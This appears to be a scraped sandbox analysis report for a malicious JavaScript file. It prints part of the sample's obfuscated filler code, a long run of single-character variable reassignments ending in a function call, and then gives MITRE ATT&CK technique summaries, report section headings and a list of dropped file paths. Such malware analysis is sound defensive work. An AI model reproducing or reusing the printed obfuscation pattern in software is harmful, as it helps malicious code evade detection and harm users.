1191	fctxx = "K";
1192	fctxx = "X";
1193	fctxx = "w";
1194	fctxx = "M";
1195	fctxx = "m";
1196	fctxx = "n";
1197	fctxx = "k";
1198	fctxx = "L";
1199	ayklp = "n";
1200	ayklp = "R";
1201	ayklp = "F";
1202	ayklp = "P";
1203	ayklp = "N";
1204	ayklp = "A";
1205	ayklp = "Y";
1206	ayklp = "p";
1207	ayklp = "p";
1208	ayklp = "C";
1209	ayklp = "E";
1210	ayklp = "I";
1211	ayklp = "F";
1212	ayklp = "y";
1213	ayklp = " ";
1214	zphgvejw = "G";
1215	zphgvejw = "X";
1216	zphgvejw = "Z";
1217	zphgvejw = "x";
1218	zphgvejw = "s";
1219	zphgvejw = "f";
1220	zphgvejw = "x";
1221	zphgvejw = "s";
1222	zphgvejw = "Z";
1223	zphgvejw = "s";
1224	zphgvejw = "h";
1225	zphgvejw = "m";
1226	zphgvejw = "X";
1227	zphgvejw = "W";
1228	zphgvejw = "X";
1229	zphgvejw = "S";
1230	zphgvejw = "N";
1231	zphgvejw = "F";
1232	zphgvejw = "o";
1233	zphgvejw = "X";
1234	zphgvejw = "C";
1235	zphgvejw = "O";
1236	zphgvejw = "E";
1237	xqkteg = "M";
1238	xqkteg = "e";
1239	xqkteg = "f";
1240	xqkteg = "T";
1241	xqkteg = "K";
1242	isymmgrl = "D";
1243	isymmgrl = "l";
1244	isymmgrl = "L";
1245	isymmgrl = "n";
1246	isymmgrl = "K";
1247	isymmgrl = "M";
1248	isymmgrl = "a";
1249	isymmgrl = "P";
1250	isymmgrl = "B";
1251	isymmgrl = "G";
1252	isymmgrl = "K";
1253	isymmgrl = "D";
1254	isymmgrl = "h";
1255	isymmgrl = "w";
1256	isymmgrl = "I";
1257	isymmgrl = "R";
1258	isymmgrl = "d";
1259	isymmgrl = "E";
1260	isymmgrl = "b";
1261	isymmgrl = "F";
1262	isymmgrl = "Y";
1263	isymmgrl = "K";
1264	isymmgrl = "Q";
1265	isymmgrl = "R";
1266	fnyza = "v";
1267	fnyza = "E";
1268	fnyza = "J";
1269	fnyza = "M";
1270	fnyza = "X";
1271	fnyza = "C";
1272	fnyza = "s";
1273	fnyza = "W";
1274	fnyza = "U";
1275	fnyza = "C";
1276	fnyza = "V";
1277	fnyza = "U";
1278	fnyza = "k";
1279	aojeqr = "w";
1280	aojeqr = "e";
1281	aojeqr = "w";
1282	aojeqr = "v";
1283	aojeqr = "B";
1284	aojeqr = "v";
1285	aojeqr = "q";
1286	aojeqr = "U";
1287	aojeqr = "U";
1288	aojeqr = "R";
1289	aojeqr = "V";
1290	aojeqr = "D";
1291	aojeqr = "T";
1292	aojeqr = "K";
1293	aojeqr = "C";
1294	aojeqr = "g";
1295	aojeqr = "z";
1296	aojeqr = "f";
1297	aojeqr = "D";
1298	aojeqr = "e";
1299	aojeqr = "K";
1300	aojeqr = "Q";
1301	eapzzxb = "B";
1302	eapzzxb = "f";
1303	eapzzxb = "s";
1304	eapzzxb = "y";
1305	eapzzxb = "u";
1306	eapzzxb = "D";
1307	eapzzxb = "M";
1308	eapzzxb = "I";
1309	eapzzxb = "s";
1310	eapzzxb = "G";
1311	eapzzxb = "F";
1312	eapzzxb = "W";
1313	eapzzxb = "c";
1314	eapzzxb = "S";
1315	eapzzxb = "B";
1316	eapzzxb = "x";
1317	eapzzxb = "v";
1318	eapzzxb = "G";
1319	eapzzxb = "E";
1320	eapzzxb = "T";
1321	eapzzxb = "W";
1322	eapzzxb = "m";
1323	jiufmfz = "K";
1324	jiufmfz = "t";
1325	jiufmfz = "X";
1326	jiufmfz = "q";
1327	jiufmfz = "s";
1328	jiufmfz = "S";
1329	jiufmfz = "c";
1330	jiufmfz = "j";
1331	jiufmfz = "O";
1332	jiufmfz = "M";
1333	jiufmfz = "j";
1334	jiufmfz = "V";
1335	jiufmfz = "E";
1336	jiufmfz = "H";
1337	jiufmfz = "J";
1338	jiufmfz = "j";
1339	jiufmfz = "S";
1340	jiufmfz = "d";
1341	jiufmfz = "s";
1342	jiufmfz = "m";
1343	jiufmfz = "C";
1344	jiufmfz = "t";
1345	jiufmfz = "x";
1346	uhbnxkf = "m";
1347	uhbnxkf = "b";
1348	uhbnxkf = "W";
1349	uhbnxkf = "d";
1350	uhbnxkf = "n";
1351	uhbnxkf = "v";
1352	uhbnxkf = ":";
1353	vatzkoir = "a";
1354	vatzkoir = "l";
1355	vatzkoir = "K";
1356	vatzkoir = "d";
1357	vatzkoir = "s";
1358	vatzkoir = "V";
1359	vatzkoir = "X";
1360	vatzkoir = "Q";
1361	vatzkoir = "i";
1362	vatzkoir = "d";
1363	vatzkoir = "j";
1364	vatzkoir = "b";
1365	vatzkoir = "s";
1366	vatzkoir = "q";
1367	vatzkoir = "C";
1368	vatzkoir = "W";
1369	vatzkoir = "k";
1370	vatzkoir = "p";
1371	vatzkoir = "I";
1372	vatzkoir = "G";
1373	vatzkoir = "Z";
1374	vatzkoir = "R";
1375	vatzkoir = "a";
1376	vatzkoir = "S";
1377	vatzkoir = "n";
1378	vatzkoir = "Q";
1379	vatzkoir = "Q";
1380	vatzkoir = "Y";
1381	vatzkoir = "g";
1382	vatzkoir = "P";
1383	vatzkoir = "S";
1384	vatzkoir = "g";
1385	vatzkoir = "x";
1386	vatzkoir = "m";
1387	vatzkoir = "B";
1388	vatzkoir = "v";
1389	qeevzjnmc = "T";
1390	qeevzjnmc = "N";
1391	qeevzjnmc = "I";
1392	qeevzjnmc = "c";
1393	qeevzjnmc = "f";
1394	qeevzjnmc = "L";
1395	qeevzjnmc = "E";
1396	qeevzjnmc = "y";
1397	qeevzjnmc = "g";
1398	qeevzjnmc = "X";
1399	qeevzjnmc = "C";
1400	qeevzjnmc = "y";
1401	qeevzjnmc = "u";
1402	qeevzjnmc = "L";
1403	qeevzjnmc = "w";
1404	qeevzjnmc = "j";
1405	qeevzjnmc = "T";
1406	qeevzjnmc = "s";
1407	qeevzjnmc = "p";
1408	qeevzjnmc = "j";
1409	qeevzjnmc = "Z";
1410	qeevzjnmc = "y";
1411	qeevzjnmc = "g";
1412	qeevzjnmc = "N";
1413	qeevzjnmc = "v";
1414	qeevzjnmc = "f";
1415	qeevzjnmc = "E";
1416	qeevzjnmc = "X";
1417	qeevzjnmc = "n";
1418	qeevzjnmc = "C";
1419	qeevzjnmc = "c";
1420	qeevzjnmc = "4";
1421	iknxpo ( );	iknxpo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9748121671124198.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f576a909-fefd-4072-9017-2d6eb3ee232e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
9748121671124198.js